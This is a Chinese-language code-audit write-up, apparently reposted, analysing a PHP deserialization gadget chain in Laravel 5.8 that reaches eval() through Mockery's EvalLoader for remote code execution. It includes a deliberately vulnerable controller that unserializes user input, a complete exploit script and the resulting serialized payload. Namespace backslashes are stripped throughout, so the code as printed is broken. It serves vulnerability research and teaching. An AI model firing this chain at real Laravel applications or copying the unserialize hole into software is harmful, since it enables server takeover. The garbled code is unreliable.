原帖地址 : https://xz.aliyun.com/t/6059
Laravel 代码审计
环境搭建
-
composer create-project --prefer-dist laravel/laravel laravel58
安装 Laravel 5.8 并生成laravel58
项目 -
进入项目文件夹,使用
php artisan serve
启动 web 服务 -
在
laravel58/routes/web.php
文件添加路由Route::get("/","AppHttpControllersDemoController@demo");
-
在
laravel58/app/Http/Controllers/
下添加DemoController.php
控制器<?php namespace AppHttpControllers; class DemoController extends Controller { public function demo() { if(isset($_GET['c'])){ $code = $_GET['c']; unserialize($code); } else{ highlight_file(__FILE__); } return "Welcome to laravel5.8"; } }
漏洞分析
-
ph 牛的 payload : https://github.com/ambionics/phpggc/pull/61
-
从
IlluminateBroadcastingPendingBroadcast
类的__destruct
方法开始的 pop 链 -
IlluminateBroadcastingPendingBroadcast
中,$events
必须实现Dispatcher
接口,这里选择的是IlluminateBusDispatcher
public function __construct(Dispatcher $events, $event) { $this->event = $event; $this->events = $events; } public function __destruct() { $this->events->dispatch($this->event); }
-
IlluminateBusDispatcher
中,调用dispatch
方法,进入if
判断,$this->queueResolver
是在实例化IlluminateBusDispatcher
时的一个参数,它必须有值,$command
也就是$this->event
必须实现ShouldQueue
接口,这里选择的就是IlluminateBroadcastingBroadcastEvent
// $command : $this->event public function dispatch($command) { if ($this->queueResolver && $this->commandShouldBeQueued($command)) { return $this->dispatchToQueue($command); } return $this->dispatchNow($command); } public function __construct(Container $container, Closure $queueResolver = null) { $this->container = $container; $this->queueResolver = $queueResolver; $this->pipeline = new Pipeline($container); } protected function commandShouldBeQueued($command) { return $command instanceof ShouldQueue; }
-
到这里,构造出的 exp :
<?php namespace IlluminateBroadcasting { class PendingBroadcast { protected $events; protected $event; function __construct($evilCode) { $this->events = new IlluminateBusDispatcher(); $this->event = new BroadcastEvent($evilCode); } } } ?>
-
然后进入
dispatchToQueue
方法,存在call_user_func
方法,其中的$this->queueResolver
是可控的,这里利用的是MockeryLoaderEvalLoader
的load
方法,即$this->queueResolver
为array(new MockeryLoaderEvalLoader(), "load")
public function dispatchToQueue($command) { $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection); if (! $queue instanceof Queue) { throw new RuntimeException('Queue resolver did not return a Queue implementation.'); } if (method_exists($command, 'queue')) { return $command->queue($queue, $command); } return $this->pushCommandToQueue($queue, $command); }
-
这个点的意思就是
$this->events
调用dispatch
传入参数$this->event
后- 访问
$this->events
的queueResolver
属性 - 调用
$this->events->commandShouldBeQueued($this->event)
方法 - 调用
dispatchToQueue
传入$this->event
参数。其中的$connection
为$this->event->connection
,即IlluminateBroadcastingBroadcastEvent
中的$connection
属性 call_user_func
将$connection
作为参数传给$this->queueResolver
返回的函数
-
到这里,构造出的 exp 如下,已经实现
call_user_func($this->queueResolver, $connection)
即call_user_func($evilFunc, $evilCode)
,接下来就要寻找一个可以利用的函数,这里选择的是MockeryLoaderEvalLoader
,继续跟进<?php namespace IlluminateBroadcasting { class PendingBroadcast { protected $events; protected $event; function __construct($evilCode) { $this->events = new IlluminateBusDispatcher(); $this->event = new BroadcastEvent($evilCode); } } class BroadcastEvent { public $connection; function __construct($evilCode) { $this->connection = $evilCode; } } } namespace IlluminateBus { class Dispatcher { protected $queueResolver; function __construct() { $this->queueResolver = $evilFunc; } } }
-
MockeryLoaderEvalLoader
中有一个eval
函数可以利用,这里的$definition
是MockDefinition
类的实例化对象,也就说明$this->event->connection
是MockDefinition
类的实例化对象。接下来就是绕过if
判断。class EvalLoader implements Loader { public function load(MockDefinition $definition) { if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); } }
-
跟进
MockeryGeneratorMockDefinition
,如果要绕过if
判断,必须让getClassName
返回一个不存在的类名,即$this->config->getName()
返回一个不存在的类名。$config
为MockeryGeneratorMockConfiguration
的实例化对象class MockDefinition { protected $config; protected $code; public function __construct(MockConfiguration $config, $code) { if (!$config->getName()) { throw new InvalidArgumentException("MockConfiguration must contain a name"); } $this->config = $config; $this->code = $code; } public function getConfig() { return $this->config; } public function getClassName() { return $this->config->getName(); } public function getCode() { return $this->code; } }
-
MockeryGeneratorMockConfiguration
中,让getName()
返回一个不存在的类名,最终执行eval("?>" . $definition->getCode());
实现 RCEclass MockConfiguration { protected $name; public function getName() { return $this->name; } }
-
最终的 exp ,(ph 牛的 exp ) :
<?php namespace IlluminateBroadcasting { class PendingBroadcast { protected $events; protected $event; function __construct($evilCode) { $this->events = new IlluminateBusDispatcher(); $this->event = new BroadcastEvent($evilCode); } } class BroadcastEvent { public $connection; function __construct($evilCode) { $this->connection = new MockeryGeneratorMockDefinition($evilCode); } } } namespace IlluminateBus { class Dispatcher { protected $queueResolver; function __construct() { $this->queueResolver = [new MockeryLoaderEvalLoader(), 'load']; } } } namespace MockeryLoader { class EvalLoader {} } namespace MockeryGenerator { class MockDefinition { protected $config; protected $code; function __construct($evilCode) { $this->code = $evilCode; $this->config = new MockConfiguration(); } } class MockConfiguration { protected $name = 'abcdefg'; } } namespace { $code = "<?php phpinfo(); exit; ?>"; $exp = new IlluminateBroadcastingPendingBroadcast($code); echo serialize($exp); } ?>
-
构造输出结果 :
O:40:"IlluminateBroadcastingPendingBroadcast":2:{S:9:" 0* 0events";O:25:"IlluminateBusDispatcher":1:{S:16:" 0* 0queueResolver";a:2:{i:0;O:25:"MockeryLoaderEvalLoader":0:{}i:1;S:4:"load";}}S:8:" 0* 0event";O:38:"IlluminateBroadcastingBroadcastEvent":1:{S:10:"connection";O:32:"MockeryGeneratorMockDefinition":2:{S:9:" 0* 0config";O:35:"MockeryGeneratorMockConfiguration":1:{S:7:" 0* 0name";S:7:"abcdefg";}S:7:" 0* 0code";S:25:"<?php phpinfo(); exit; ?>";}}}
一些思考
-
危险函数的寻找
eval,call_user_func
-
phpstorm + xdebug 调试代码
-
PHP 序列化的时候 private 和 protected 变量会引入不可见字符
x00
,